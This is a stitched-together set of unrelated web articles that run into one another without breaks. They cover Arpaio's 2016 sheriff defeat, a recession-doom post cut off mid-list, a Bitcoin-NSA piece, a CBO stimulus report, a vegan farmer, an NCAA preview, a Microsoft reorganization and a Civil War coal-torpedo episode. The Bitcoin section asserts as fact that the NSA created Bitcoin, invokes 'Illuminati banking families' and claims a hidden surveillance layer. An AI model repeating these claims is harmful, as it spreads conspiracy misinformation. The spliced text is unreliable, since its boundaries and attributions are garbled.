Retired Phoenix police officer Paul Penzone defeated the 84-year-old Arpaio 55-44 percent in the race for Maricopa County Sheriff on Tuesday night, dealing a shocking defeat to the longtime incumbent.
Arpaio, who has cruised to reelection in past contests, was dragged down by a flood of out-of-state funding and a well-organized campaign to get out the Latino vote. Oh, and there was also the criminal contempt of court charges for refusing to comply with a federal judge's orders to improve the conditions at the county jail and to stop unconstitutionally profiling Latinos.
In a statement, Maricopa Strong, a super PAC funded by liberal mega-donor George Soros that funneled more than $2 million into the race, said the voters "rejected the poisonous anti-Immigrant policies that Arpaio symbolized."
"In this race, when matched on a more even playing field, the values of justice and inclusion defeated the politics of fear-mongering and intolerance," the super PAC said. "Maricopa County will be a safer, fairer, more just jurisdiction with Paul Penzone as sheriff. Voters have rejected the poisonous anti-immigrant policies that Arpaio symbolized."
Arpaio was an outspoken supporter of Donald Trump and his hardline immigration policies. He spoke at the Republican National Convention in July, drawing applause when he said, "Donald Trump will build the wall!" (There was a large picture of a border wall displayed behind Arpaio, just to emphasize how tremendous and bigly the wall will be.)
Trump returned the favor, telling voters to back Arpaio. But the wave of Republican votes that propelled Trump into the White House did not lift Arpaio. Nor did the backlash against Arpaio and prominence of immigration issues hurt Trump. With 97 percent of the vote counted, Trump is winning Maricopa County 49-45 percent.
Arpaio gained national name-recognition—he styled himself as "America's toughest sheriff"—for housing inmates in a desert tent city and running aggressive sweeps to round up illegal immigrants.
In 2013, Reason named Arpaio one of its 45 enemies of freedom, where he joined such luminaries as Idi Amin, Michael Bloomberg, and Hillary Clinton:
Maricopa County, Arizona's chief law enforcement officer is famous mostly for publicly degrading inmates: forcing them to live in a tent city, work on chain gangs, wear pink underwear. Meanwhile, his more serious transgressions receive far less attention. Arpaio has created citizen posses to track down and arrest illegal immigrants, overseen a jail staff that has violently abused inmates (resulting in the death of three prisoners and the paralysis of a fourth), and used law enforcement resources to harass and intimidate his political opponents.
In 2014, J.D. Tuccille noted in Reason that Arpaio's office "has also been guilty of a litany of shenanigans, including stealing documents from a defense attorney, arresting critical journalists, spying on political opponents—and maintaining such lousy jail conditions that they violate inmates' rights."
Arpaio's jails lost their national accreditation in 2008, but Arpaio continued to wrangle with a U.S. district court judge over the conditions of the jail, as well as the unconstitutional racial profiling of Latinos.
The judge referred Arpaio to the U.S. Attorney's Office for potential prosecution, and in mid-October the office charged Arpaio and three of his aides with criminal contempt of court:
[U.S. District Court Judge Susan Bolton's] filing walks through five years of the sheriff's resistance to her colleague, U.S. District Court Judge G. Murray Snow, who has presided over the long racial-profiling case out of which the criminal-contempt charge grew. The document alleges Arpaio was more interested in maintaining his famed tough-on-immigration persona than following Snow's orders. His deputies continued to arrest and deliver undocumented immigrants to federal authorities when there were no state charges against them, long after Snow banned the practice. "Judge Snow concluded that Sheriff Arpaio did so based on the notoriety he received for, and the campaign donations he received because of, his immigration enforcement activity," Bolton wrote [...] The practice, she notes, continued even after Arpaio's attorneys advised him to stop. The sheriff at various points told his attorneys they would revise their protocol or, falsely, that the Sheriff's Office was already in compliance.
Now Arpaio has received an order from someone he can't try and ignore: voters.
"Tonight, the people have spoken," Arpaio said in a campaign statement on election night. "And while Ava and I are disappointed in the results we respect their decision."Federal Reserve Governor Kevin Warsh told an audience on Friday that the U.S. economy is in the midst of a cyclical recovery and that there are “encouraging” signs of improvement in financial markets. Many other governmental and media talking heads have uttered similar pronouncements about a “recovery” which will put the U.S. economy back on track. But are we really experiencing a recovery? If so, then why are foreclosures still hitting record levels? Why is unemployment so high? Why are so many cities and states on the verge of bankruptcy? Why are so many average Americans hurting so much? The truth is that what we are experiencing now is a period of stabilization before the “second dip” of the double-dip recession so many economists have been talking about hits. What the U.S. economy is actually in the midst of is a complete and total structural failure. The American Dream is going to permanently die for millions of American families. Millions more are going to lose their jobs and millions more are going to lose their homes. This is what we get for piling up the biggest mountain of debt in the history of the world and outsourcing much of our manufacturing and industry to places like China and India. Now we are an aging, bloated dinosaur trying to survive on a service economy and the biggest debt bubble of all time.
It would be great if we could experience at least a temporary economic recovery, because very few people are ready for a total economic meltdown right now. Most of us still need more time to prepare for what is ahead. But unfortunately almost all of the recent economic news is bad.
The following are 14 pieces of really bad news for the U.S. economy….
#1) According to RealtyTrac, foreclosure filings were reported on |
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Bitcoin could very well be the ‘one world currency’ that conspiracy theorists have been talking about for some time. It’s a kill five birds with one stone solution – not only is Bitcoin an ideal one world currency, it allows law enforcement a perfect record of all transactions on the network. It states very clearly on bitcoin.org (the official site) in big letters “Bitcoin is not anonymous” :
Some effort is required to protect your privacy with Bitcoin. All Bitcoin transactions are stored publicly and permanently on the network, which means anyone can see the balance and transactions of any Bitcoin address. However, the identity of the user behind an address remains unknown until information is revealed during a purchase or in other circumstances. This is one reason why Bitcoin addresses should only be used once. Always remember that it is your responsibility to adopt good practices in order to protect your privacy. Read more about protecting your privacy.
Another advantage of Bitcoin is the problem of Quantitative Easing – the Fed (and thus, nearly all central banks in the world) have painted themselves in a corner, metaphorically speaking. QE ‘solved’ the credit crisis, but QE itself does not have a solution. Currently all currencies are in a race to zero – competing with who can print more money faster. Central Bankers who are in systemic analysis, their economic advisors, know this. They know that the Fiat money system is doomed, all what you can read online is true (just sensationalized) – it’s a debt based system based on nothing. That system was created, originally in the early 1900’s and refined during Breton Woods followed by the Nixon shock (This is all explained well in Splitting Pennies). In the early 1900’s – there was no internet! It is a very archaic system that needs to be replaced, by something modern, electronic, based on encryption. Bitcoin! It’s a currency based on ‘bits’ – but most importantly, Bitcoin is not the ‘one world currency’ per se, but laying the framework for larger cryptocurrency projects. In the case of central banks, who control the global monetary system, that would manifest in ‘Settlement Coin’ :
Two resources available almost exclusively to central banks could soon be opened up to additional users as a result of a new digital currency project designed by a little-known startup and Swiss bank UBS. One of those resources is the real-time gross settlement (RTGS) system used by central banks (it’s typically reserved for high-value transactions that need to be settled instantly), and the other is central bank-issued cash. Using the Utility Settlement Coin (USC) unveiled today, the five-member consortium that has sprung up around the project aims to help central banks open-up access to these tools to more customers. If successful, USC has the potential to create entirely new business models built on instant settling and easy cash transfers. In interview, Robert Sams, founder of London-based Clearmatics, said his firm initially worked with UBS to build the network, and that BNY Mellon, Deutsche Bank, ICAP and Santander are only just the first of many future members.
In case you didn’t read Splitting Pennies or don’t already know, the NSA/CIA often works for big corporate clients, just as it has become a cliche that the Iraq war was about big oil, the lesser known hand in global politics is the banking sector. In other words, Bitcoin may have very well been ‘suggested’ or ‘sponsored’ by a banker, group of banks, or financial services firm. But the NSA (as we surmise) was the company that got the job done. And probably, if it was in fact ‘suggested’ or ‘sponsored’ by a private bank, they would have been waiting in the wings to develop their own Bitcoin related systems or as in the above “Settlement Coin.” So the NSA made Bitcoin – so what?
It isn’t really important who or why created Bitcoin as the how – and the how is open source, so experts have dug through the code bit by bit (pun intended). If the who or why isn’t important – why did we write an article about it?
The FX markets currently represent the exchange between ‘major’ and ‘minor’ currencies. In the future, why not too they will include ‘cryptocurrencies’ – we’re already seeing the BTC/EUR pair popup on obscure brokers. When BTC/USD and BTC/EUR are available at major FX banks and brokers, we can say – from a global FX perspective, that Bitcoin has ‘arrived.’ Many of us remember the days when the synthetic “Euro” currency was a new artificial creation that was being adopted, although the Euro project is thousands of degrees larger than the Bitcoin project. But unlike the Euro, Bitcoin is being adopted at a near exponential rate by demand (Many merchants resisted the switch to Euros claiming it was eating into their profit margins and they were right!).
And to answer the question as to why Elite E Services is not actively involved in Bitcoin the answer is that previously, you can’t trade Bitcoin. Now we’re starting to see obscure brokers offering BTC/EUR but the liquidity is sparse and spreads are wacky – that will all change. When we can trade BTC/USD just like EUR/USD you can bet that EES and a host of other algorithmic FX traders will be all over it! It will be an interesting trade for sure, especially with all the volatility, the cross ‘pairs’ – and new cryptocurrencies. For the record, for brokers- there’s not much difference adding a new symbol (currency pair) in MT4 they just need liquidity, which has been difficult to find.
So there’s really nothing revolutionary about Bitcoin, it’s just a logical use of technology in finance considering a plethora of problems faced by any central bank who creates currency. And there are some interesting caveats to Bitcoin as compared to major currencies; Bitcoin is a closed system (there are finite Bitcoin) – this alone could make such currencies ‘anti-inflationary’ and at the least, hold their value (the value of the USD continues to deteriorate slowly over time as new M3 introduced into the system.) But we need to pay
Another thing that Bitcoin has done is set the stage for a cryptocurrency race; even Google is investing in Bitcoin alternatives:
Here’s some interesting theories about who or whom is Satoshi:
A corporate conglomerate
Some researchers proposed that the name ‘Satoshi Nakamoto’ was derived from a combination of tech companies consisting of Samsung, Toshiba, Nakayama, and Motorola. The notion that the name was a pseudonym is clearly true and it is doubtful they reside in Japan given the numerous forum posts with a distinctly English dialect.
Craig Steven Wright
This Australian entrepreneur claims to be the Bitcoin creator and provided proof. But soon after, his offices were raided by the tax authorities on ‘an unrelated matter’
Soon after these stories were published, authorities in Australia raided the home of Mr Wright. The Australian Taxation Office said the raid was linked to a long-running investigation into tax payments rather than Bitcoin.
Questioned about this raid, Mr Wright said he was cooperating fully with the ATO.
“We have lawyers negotiating with them over how much I have to pay,” he said.
Other potential creators
Nick Szabo, and many others, have been suggested as potential Satoshi – but all have denied it:
The New Yorker published a piece pointing at two possible Satoshis, one of whom seemed particularly plausible: a cryptography graduate student from Trinity College, Dublin, who had gone on to work in currency-trading software for a bank and published a paper on peer-to-peer technology. The other was a Research Fellow at the Oxford Internet Institute, Vili Lehdonvirta. Both made denials.
Fast Company highlighted an encryption patent application filed by three researchers – Charles Bry, Neal King and Vladimir Oksman – and a circumstantial link involving textual analysis of it and the Satoshi paper which found the phrase “…computationally impractical to reverse” in both. Again, it was flatly denied.
THE WINNER: It was the NSA
The NSA has the capability, the motive, and the operational capacity – they have teams of cryptographers, the biggest fastest supercomputers in the world, and they see the need. Whether instructed by their friends at the Fed, in cooperation with their owners (i.e. Illuminati banking families), or as part of a DARPA project – is not clear and will never be known (unless a whistleblower comes forward). In fact, the NSA employs some of the best mathematicians and cryptographers in the world. Few know about their work because it’s a secret, and this isn’t the kind of job you leave to start your own cryptography company.
But the real smoking Gun, aside from the huge amount of circumstantial evidence and lack of a credible alternative, is the 1996 paper authored by NSA “HOW TO MAKE A MINT: THE CRYPTOGRAPHY OF ANONYMOUS ELECTRONIC CASH” available here.
This author agrees:
The NSA was one of the first organizations to describe a Bitcoin-like system. About twelve years before Satoshi Nakamotopublished his legendary white paper to the Metzdowd.com cryptography mailing list, a group of NSA information security researchers published a paper entitled How to Make a Mint: the Cryptography of Anonymous Electronic Cash in two prominent places, the first being an MIT mailing list and the second being much more prominent, The American Law Review (Vol. 46, Issue 4 ). The paper outlines a system very much like Bitcoin in which secure financial transactions are possible through the use of a decentralized network the researchers refer informally to as a Bank. They list four things as indispensable in their proposed network: privacy, user identification (protection against impersonation), message integrity (protection against tampering/substitution of transaction information – that is, protection against double-spending), and nonrepudiation (protection against later denial of a transaction – a blockchain!). “We will assume throughout the remainder of this paper that some authentication infrastructure is in place, providing the four security features.” (Section 1.2) It is evident that SHA-256, the algorithm Satoshi used to secure Bitcoin, was not available because it came about in 2001. However, SHA-1 would have been available to them, having been published in 1993.
Why would the NSA want to do this? One simple reason: Control.
As we explain in Splitting Pennies – Understanding Forex – the primary means the US dominates the world is through economic policy, although backed by bombs. And the critical support of the US Dollar is primarily, the military. The connection between the military and the US Dollar system is intertwined inextricably. There are thousands of great examples only one of them being how Iraq switched to the Euro right before the Army’s invasion.
In October 2000 Iraq insisted on dumping the US dollar – ‘the currency of the enemy’ – for the more multilateral euro. The changeover was announced on almost exactly the same day that the euro reached its lowest ebb, buying just $0.82, and the G7 Finance Ministers were forced to bail out the currency. On Friday the euro had reached $1.08, up 30 per cent from that time. Almost all of Iraq’s oil exports under the United Nations oil-for-food programme have been paid in euros since 2001. Around 26 billion euros (£17.4bn) has been paid for 3.3 billion barrels of oil into an escrow account in New York. The Iraqi account, held at BNP Paribas, has also been earning a higher rate of interest in euros than it would have in dollars.
The point here is there are a lot of different types of control. The NSA monitors and collects literally all electronic communications; internet, phone calls, everything. They listen in even to encrypted voice calls with high powered microphones, devices like cellphones equipped with recording devices (See original “Clipper” chip). It’s very difficult to communicate on planet Earth in private, without the NSA listening. So it is only logical that they would also want complete control of the financial system, including records of all electronic transactions, which Bitcoin provides.
Could there be an ‘additional’ security layer baked into the Blockchain that is undetectable, that allows the NSA to see more information about transactions, such as network location data? It wouldn’t be so far fetched, considering their past work, such as Xerox copy machines that kept a record of all copies made (this is going back to the 70’s, now it’s common). Of course security experts will point to the fact that this layer remains invisible, but if this does exist – of course it would be hidden.
More to the point about the success of Bitcoin – its design is very solid, robust, manageable – this is not the work of a student. Of course logically, the NSA employs individuals, and ultimately it is the work of mathematicians, programmers, and cryptographers – but if we deduce the most likely group capable, willing, and motivated to embark on such a project, the NSA is the most likely suspect. Universities, on the other hand, didn’t product white papers like this from 1996.
Another question is that if it was the NSA, why didn’t they go through more trouble concealing their identity? I mean, the internet is rife with theories that it was in fact the NSA/CIA and “Satoshi Nakamoto” means in Japanese “Central Intelligence” – well there are a few answers for this, but to be congruent with our argument, it fits their profile.
Where could this ‘hidden layer’ be? Many think it could be in the public SHA-256, developed by NSA (which ironically, was the encryption algorithm of choice for Bitcoin – they could have chosen hundreds of others, which arguably are more secure):
Claims that the NSA created Bitcoin have actually been flung around for years. People have questioned why it uses the SHA-256 hash function, which was designed by the NSA and published by the National Institute for Standards and Technology (NIST). The fact that the NSA is tied to SHA-256 leads some to assume it’s created a backdoor to the hash function that no one has ever identified, which allows it to spy on Bitcoin users. “If you assume that the NSA did something to SHA-256, which no outside researcher has detected, what you get is the ability, with credible and detectable action, they would be able to forge transactions. The really scary thing is somebody finds a way to find collisions in SHA-256 really fast without brute-forcing it or using lots of hardware and then they take control of the network,” cryptography researcher Matthew D. Green of Johns Hopkins University said in a previous interview.
Then there’s the question of “Satoshi Nakamoto” – if it was in fact the NSA, why not just claim ownership of it? Why all the cloak and dagger? And most importantly, if Satoshi Nakamoto is a real person, and not a group that wants to remain secret – WHY NOT come forward and claim your nearly $3 Billion worth of Bitcoin (based on current prices).
Did the NSA create Satoshi Nakamoto?
The CIA Project, a group dedicated to unearthing all of the government’s secret projects and making them public, hasreleased a video claiming Bitcoin is actually the brainchild of the US National Security Agency. The video entitled CIA Project Bitcoin: Is Bitcoin a CIA or NSA project? claims that there is a lot of compelling evidences that proves that the NSA is behind Bitcoin. One of the main pieces of evidence has to do with the name of the mysterious man, woman or group behind the creation of Bitcoin, “Satoshi Nakamoto”. According to the CIA Project, Satoshi Nakamoto means “Central Intelligence” in Japanese. Doing a quick web search, you’ll find out that Satoshi is usually a name given for baby boys which means “clear thinking, quick witted, wise,” while Nakamoto is a Japanese surname which means ‘central origin’ or ‘(one who lives) in the middle’ as people with this surname are found mostly in the Ryukyu islands which is strongly associated with the Ry?ky? Kingdom, a highly centralized kingdom that originated from the Okinawa Islands. So combining Nakamoto and Satoshi can be loosely interpreted as “Central Intelligence”.
Is it so really hard to believe? This is from an organization that until the Snowden leaks, secretly recorded nearly all internet traffic on the network level by splicing fiber optic cables. They even have a deep-sea splicing mission that will cut undersea cables and install intercept devices. Making Bitcoin wouldn’t even be a big priority at NSA.
More from the Telegraph:
Certainly, anonymity is one of the biggest myths about Bitcoin. In fact, there has never been a more easily traceable method of payment. Every single transaction is recorded and retained permanently in the public “blockchain”. The idea that the NSA would create an anarchic, peer-to-peer crypto-currency in the hope that it would be adopted for nefarious industries and become easy to track would have been a lot more difficult to believe before the recent leaks by Edward Snowden and the revelation that billions of phone calls had been intercepted by the US security services. We are now in a world where we now know that the NSA was tracking the pornography habits of Islamic “radicalisers” in order to discredit them and making deals with some of the world’s largest internet firms to insert backdoors into their systems.
And we’re not the only ones who believe this, in Russia they ‘know’ this to be true without sifting through all the evidence.
A Russian lawmaker claims that Bitcoin is a CIA conspiracy [to finance terrorism]:
Nonetheless, Svintsov’s remarks count as some of the more extreme to emanate from the discussion. Svintsov told Russian broadcast news agency REGNUM:“All these cryptocurrencies [were] created by US intelligence agencies just to finance terrorism and revolutions.”Svintsov reportedly went on to explain how cryptocurrencies have started to become a payment method for consumer spending, and cited reports that terrorist organisations are seeking to use the technology for illicit means.
Let’s elaborate on what is ‘control’ as far as the NSA is concerned. Bitcoin is like the prime mover. All future cryptocurrencies, no matter how snazzy or functional – will never have the same original keys as Bitcoin. It created a self-sustained, self-feeding bubble – and all that followed. It enabled law enforcement to collect a host of criminals on a network called “Silk Road” and who knows what other operations that happened behind the scenes. Because of pesky ‘domestic’ laws, the NSA doesn’t control the internet in foreign countries. But by providing a ‘cool’ currency as a tool, they can collect information from around the globe and like Facebook, users provide this information voluntarily. It’s the same strategy they use like putting the listening device in the chips at the manufacturing level, which saves them the trouble of wiretapping, electronic eavesdropping, and other risky methods that can fail or be blocked. It’s impossible to stop a cellphone from listening to you, for example (well not 100%, but you have to physically rewire the device). Bitcoin is the same strategy on a financial level – by using Bitcoin you’re giving up your private transactional information. By itself, it would not identify you per se (as the blockchain is ‘anonymous’ but the transactions are there in the public register, so combined with other information, which the NSA has a LOT OF – they can triangulate their information more precisely.
That’s one problem solved with Bitcoin – another being the economic problem of QE (although with a Bitcoin market cap of $44 Billion, that’s just another day at the Fed buying MBS) – and finally, it squashes the idea of sovereignty although in a very, very, very subtle way. You see, a country IS a currency. Until now, currency has always been tied to national sovereignty (although the Fed is private, USA only has one currency, the US Dollar, which is exclusively American). Bitcoin is a super-national currency, or really – the world’s first one world currency.
Of course, this is all great praise for the DOD which seems to have a 50 year plan – but after tens of trillions spent we’d hope that they’d be able to do something better than catching terrorists (which mostly are artificial terrorists).
get the book Splitting Pennies – Understanding ForexWASHINGTON, May 25 (Reuters) - The stimulus law enacted in 2009 to help jolt the United States out of recession continued to pay dividends this year by adding jobs and expanding the economy, the Congressional Budget Office said on Wednesday.
For the first three months of this year, the stimulus law lowered the nation’s unemployment rate by between 0.6 percentage points and 1.8 percentage points, the non-partisan budget and economic analyst for Congress estimated.
Even with that boost, the U.S. jobless rate for April was 9 percent, rising somewhat from 8.8 percent the previous month as more people entered the job market.
The CBO estimated that as a result of the stimulus spending, somewhere between 1.2 million and 3.3 million more people were employed in the first quarter.
When it was being debated, some in the Obama administration estimated the huge stimulus would prevent the U.S. unemployment rate from rising above 8 percent. Instead, the jobless rate reached a high of 10.1 percent in October, 2009, and one year later had dropped only to 9.7 percent.
The overall U.S. economy benefited, CBO said, as inflation-adjusted gross domestic product rose by between 1.1 percent and 3.1 percent because of the measure.
Republicans, who voted against the economic stimulus law when it was moving through Congress, have insisted that the measure created few if any jobs and has exploded U.S. budget deficits that are estimated to be around $1.4 trillion this year.
CBO estimates the stimulus law will increase budget deficits by about $830 billion over 10 years.
The economic stimulus bill was aimed at injecting federal funds for construction and research projects throughout the United States. (Reporting by Richard Cowan)Jay Wilde, 59, decided to give up his 63 cattle to an animal sanctuary after becoming vegetarian (Picture: Caters)
A cattle farmer has given his herd of cows to an animal sanctuary after deciding to become vegetarian.
Jay Wilde, 59, moved his herd of 63 cattle to the sanctuary more than 150 miles from his farm in Ashbourne, Derbyshire, as he could not bear to see them killed.
The 59-year-old organic farmer felt so guilty taking his cattle to slaughter that he completely changed his business, growing wheat to be used for bread instead.
But he’s kept a handful of the cows on the farm to provide natural fertilizer for his crops.
Jay said: ‘I feel so much better farming this way. It’s a weight off my shoulders. It’s certainly not a normal thing to do as a farmer, but I’m happy about it.
‘I miss the cows, however it’s nice to think of them living a nice life in a sanctuary now. It just became more and more difficult taking them to slaughter.
The 59-year-old organic farmer felt so guilty taking his cattle to slaughter that he completely changed his business, growing wheat to be used for bread instead. (Picture: Caters)
‘You know they have thoughts, dreams, and personalities, so being taken to be killed was a horrible experience for them too.
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‘I’m glad to have saved them from that. Giving them away was definitely the right option.
‘I run a vegan farm now and selling the cows to be slaughtered did not seem like the right way to get the business started.’
Jay’s family bought the farm in 1956 and he grew up helping his dad to run it.
It was originally a dairy farm until his father’s death in 2011. After taking it over completely, Jay turned it into an organic beef production farm.
However, he found taking the cows to the slaughterhouse increasingly upsetting.
He also hosts festivals on his farm, and some attendees expressed their discomfort about attending a celebration on his farm when cows were sent to slaughter.
He found taking the cows to the slaughterhouse increasingly upsetting.(Picture: Caters)
After one such festival, he was put in touch with the Vegan Society, who advised him that he could send his cattle, 30 of which were pregnant, to a sanctuary.
Jay said: ‘One of the people attending said some people were unhappy celebrating in a beef farm.
‘I took that on board. It made sense. I was already questioning whether what I was doing was right.
‘I was put in touch with the Vegan Society and they suggested other types of farming to me.
‘When I agreed to begin farming crops instead of animals, I had no idea what to do with the cows.
‘They suggested that I could give them to sanctuaries, which seemed right, but we were expecting to have to give them away in twos and threes and for it to be a very long, complicated process.
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‘However, Hillside Animal Sanctuary came forward and said they could take all of them. It was remarkable.’
Jay claims his wife Katja, 52, has been very supportive of his move, although she misses the cows.
The couple still keep 11 of the herd to provide natural fertiliser for the land.
The Hillside Animal Sanctuary, near Frettenham in Norfolk, agreed to take all of the cattle in one go two months ago. They were moved to a suitable site earlier this month.The NCAA Tournament is almost here, and the 5-seed Notre Dame Fighting Irish will kick off their quest to reach a third straight Elite Eight and beyond when they take on 12-seed Princeton on Thursday in Buffalo.
My quick take is that I think the Irish will beat both Princeton and West Virginia to reach the Sweet 16 (assuming the Mountaineers don’t get upset like last year). I think Notre Dame would have a real shot against Gonzaga, but I’m still debating whether to advance the Irish past the Bulldogs in my bracket.
Here’s a breakdown of how the Irish matchup with their first opponent.
Princeton
Who they are:
The Princeton Tigers are very similar to the Irish in terms of their style of play. Princeton ranks 11th in offensive turnover percentage while the Irish are no. 1 (per KenPom). 45.9% of Princeton’s shots come from three-point range and they make 38.1% of them. The Irish take 40.9% of their shots from three and make 38.6% of them.
Both teams are in the bottom 50 in bench minutes, both don’t foul often, and both make free throws at a very high rate. Both teams start a skilled 6’5 player at “center”: Bonzie Colson for the Irish and Myles Stephens for the Tigers. And lastly, both teams boast very experienced rosters.
Why The Irish Should Be Nervous
Only 13 teams in the nation shoot a higher percentage of their shots from three than Princeton. Three is worth more than two, and if Princeton has a hot shooting game, the Irish could be in trouble.
Princeton also plays at the 336th fastest pace in the nation per KenPom (among 351 teams). At 220th, the Irish don’t speed things up too much either. As a result, one should expect this game to have relatively few possessions, and games with fewer possessions tend to produce a greater likelihood of upsets.
Princeton Player To Watch: Myles Stephens
I already mentioned how Stevens is kind of Princeton’s version of Bonzie Colson. He’s coming off a season-high 23 points against Yale in which he showcased his ability to score both in the paint and from three.
Prediction:
The Irish are around 7-point favorites in this game. Princeton is a solid team, and it is very possible the Irish will have a really tough game on their hands, but I don’t think Princeton will give the Irish enough problems to pull off the upset. The Tigers shouldn’t hurt Notre Dame on the boards and don’t have an advantage in terms of athleticism. In the end, Princeton is sort of a “lite version” of Notre Dame; they play a similar style, but in the end, Notre Dame is flat out better at this style and a better team.
The Irish are experienced, battle-tested, and most importantly playing well as of late. I’m confident this team will walk away with a victory.Microsoft officials are informing the troops today, July 3, about the company's anticipated sales reorganization.
Executive Vice President Judson Althoff sent employees a memo about the company's "new commercial and consumer model," to explain the restructuring. Today's memo did not mention anticipated headcount cuts that are expected to figure into the reorg.
Microsoft is now organizing its commercial field sales team around two customer segments: Enterprise and Small, Medium and Corporate (SMC), according to the memo.To address enterprise customers, Microsoft is focusing on its highest growth opportunities, Althoff said, by operating across account teams for commercial and public sector; specialist team units focused on new business; and new "customer success units" that will focus on driving usage and consumption of products and services.
These three units will be dubbed the "Enterprise Operating Unit." The Enterprise Operating Unit will work with Microsoft's Marketing and Operations, previously announced One Commercial Partner, Enterprise Services and Commercial Software Engineering teams. Commercial Software Engineering, or CSE, is what was the technical core group of Microsoft's recently disbanded Developer Experience (DX) unit, led by Technical Fellow John Shewchuk.
Althoff said Microsoft, going forward, is targeting six high-priority vertical markets: Manufacturing, Financial Services, Retail, Health, Education and Government. (Note: These already were vertical targets for the company.) Additionally in Enterprise, Microsoft is charging its sales, partners and services team with addressing four "solution areas," he said. The four, more horizontal areas of focus:
Modern Workplace
Business Applications
Apps and Infrastructure
Data and AI
In the SMC segment, Microsoft is focusing on both corporate accounts and small and mid-size businesses (SMBs). The SMC team will be divided into a handful of teams, namely Global Demand Center, which is designed to deliver direct revenue, sales leads and "consumption at scale"; Inside Sales; Marketing & Operations; Field Sales for SMC customers; and One Commercial Partner.
Microsoft announced the formation of One Commercial Partner, which will play a role in selling to both Enterprise and small/mid-size customers, in January this year.
Microsoft will continue to beat the "digital transformation" drum as part of this reorg, and will talk about it not just in terms of business users, but also consumer ones spanning work, school and home. Microsoft is continuing its push to try to grow its base of fans, and is counting on Surface, Office 365, mixed reality and gaming across all device types to help them do this.
Microsoft officials held an all-hands meeting for those affected earlier today. More memos and details about the impact of the reorg are expected to trickle out over the rest of this week, just ahead of the company's worldwide partner conference and company-wide sales meetings, which are happening over the next two weeks.
So far, I have to say the changes announced today don't seem like they'll have a huge impact directly on customers. I also don't really see how this will change the way Microsoft works with its partners. (If anyone else does, please chime in.) But let's see what else comes down later this week.Disunion follows the Civil War as it unfolded.
In late November 1864, the Union troop transport Greyhound was steaming down the James River in Virginia from the Bermuda Hundred Plantation, where the army of Maj. Gen. Benjamin Butler had been bottled up for weeks. Butler’s superior, Lt. Gen. Ulysses S. Grant, had planned to send Butler due south toward Richmond, thereby trapping Gen. Robert E. Lee’s Army of Northern Virginia between two large concentrations of Union troops. But Butler soon found himself in a stalemate against entrenched Confederate forces, far outside Richmond.
On Nov. 27, Butler and his guests, Rear Adm. David Dixon Porter, commanding the North Blockading Squadron, and Congressman Robert C. Schenck of Ohio, now back in political office after being seriously wounded at the Second Battle of Bull Run, boarded the Greyhound, which served as Butler’s floating command post, complete with a gilded saloon and a crew he had outfitted himself. Notably, the ship was unarmed, as was the crew, without “a pop-gun among them,” one observer recalled.
The three were discussing how best to close the port of Wilmington, N.C., the last important refuge of the blockade-runners in the Confederacy. Wilmington sat a few miles inland, reached by the Cape Fear River, whose mouth was defended by the formidable Fort Fisher.
Meeting in a lower deck salon, most likely sitting around a large table studying detailed maps of the Fort Fisher area, Butler kept quiet for the moment about his idea of sending a “bomb ship” (sometimes called a “powder boat” or “grand torpedo”) through the obstructions and minefields toward the fort.
The general planned to explode it so close to Fisher’s powder stores that the soldiers inside would be stunned, incapable of repelling any invaders, or dead. At the time, Butler “was in the zenith of his power and seemed to do pretty much as he pleased,” in Porter’s words; but it was a power that was slowly evaporating. While not known for expertise in battle, Butler was famous for supporting innovative if far-fetched ideas, such as his experiments with “Greek fire” (phosphorous) to incinerate artillery batteries, attacking infantry or gunboats.
From their time together in Louisiana two years before, Porter and Butler had been at personal and professional odds; but now, at least on the surface on this November day, relations were respectful.
From the start Porter had been uneasy about the discussion’s setting. Starting with the men loading coal aboard the transport, the admiral, who well knew the ways of Confederate sympathizers on the St. Louis Mississippi riverfront was on edge, looking for anything out of the ordinary in the undefended, unnecessarily tight space of the ship.
Porter had every reason to be concerned. The Greyhound was extremely vulnerable to stealth attack, an area of Confederate expertise. Confederate inventors in and out of uniform viewed the Union Navy’s shift to coal as a godsend for even deadlier attacks. They were spurred on by a new law, passed in a secret session of the Confederate Congress, authorizing bounties for inventors of devices from mines to submersibles to submarines that sank warships. Now in the Confederate arsenal was the “coal torpedo.”
When Schenck and Butler began talking politics, Porter excused himself and headed to the upper salon. Once inside he found a half-dozen or so “cut-throat-looking-fellows.” He challenged them by asking whether the Greyhound carried first-class passengers. One of the men shot back, “We are just lookin’ around to see how you fellows live; we ain’t doing no harm.”
While the admiral didn’t directly pursue the matter with the men, he stayed in the salon until slowly, one by one, the group headed below. After the last man left, Porter hunted down Butler, saying that he believed neither of them wanted to be captured by “a cargo of the worst-looking wretches on board.”
That was enough for Butler, whose ceremonial sword was the only weapon in Union hands then. He headed to the wheelhouse and ordered the captain back to Bermuda Hundred. Once there, the suspected Confederate spies or guerrillas were turned over to the provost marshal; and before getting under way again, the Greyhound was scoured for any stowaways. It soon appeared that Butler and Porter had overreacted. The whole matter was now being dismissed jocularly as just a bunch of “loafers trying to get to Hampton Roads free of expense.” Then the ship left again.
The coal, apparently, was never inspected.
About five or six miles from Bermuda Hundred, the Greyhound howled from a blast in the engine room. “A large volume of smoke poured out” from there, but the engineer kept his cool, closing the throttle valve and opening the safety valve, letting steam rush out as the vessel came to a noisy, shuddering stop. Some of the gaudily dressed crew members grabbed planks and jumped overboard.
Related Disunion Highlights Explore multimedia from the series and navigate through past posts, as well as photos and articles from the Times archive. See the Highlights »
An excited Butler asked Porter if he knew what happened. “Torpedo! I know the sound.” They could see the flames amidships, and the smoke that was rising dangerously into the salon.
Porter and a steward wrestled the general’s gig (a small boat) from the port quarter; once it was clear of the wheelhouse, Porter lowered it until it was about two feet from the water. He next turned his attention to getting a smaller boat on the other side of the burning ship into the water so a steward and stewardess could make their escape.
By then, some crew members who had jumped overboard in the wake of the explosion had paddled around to the gig. “We all got into the boat and shoved off,” one recalled. “Of the crew only the captain was still aboard, who lowered the colors and climbed down to the rudder where he was picked up by the gig.”
Butler’s aide, determined to do his duty, grabbed all the papers he could, leaving only when his hand was burned. It was now less than five minutes after the explosion, in Porter’s estimation, and the ship was fully engulfed in flames, doomed. Several of Butler’s prized horses were still aboard, whinnying in terror until the roar of the blaze, the crashing of timbers and the blasting of steam drowned out their suffering.
From the gig, the crew, with Porter, Butler and Schenck safely in place, rowed back and forth on the river to make sure that all those who jumped overboard were accounted for.
“I think I saved General Butler a ducking on that occasion, if not his life; but I am afraid he forgot the service, although I would have worked as hard to get him out of that vessel, even had I known beforehand he would try to injure me,” Porter wrote. All those rescued from the Greyhound were taken aboard an Army transport (though Porter decided he had had enough of Army vessels that day, and for many to come, and soon found passage back aboard a Navy tug).
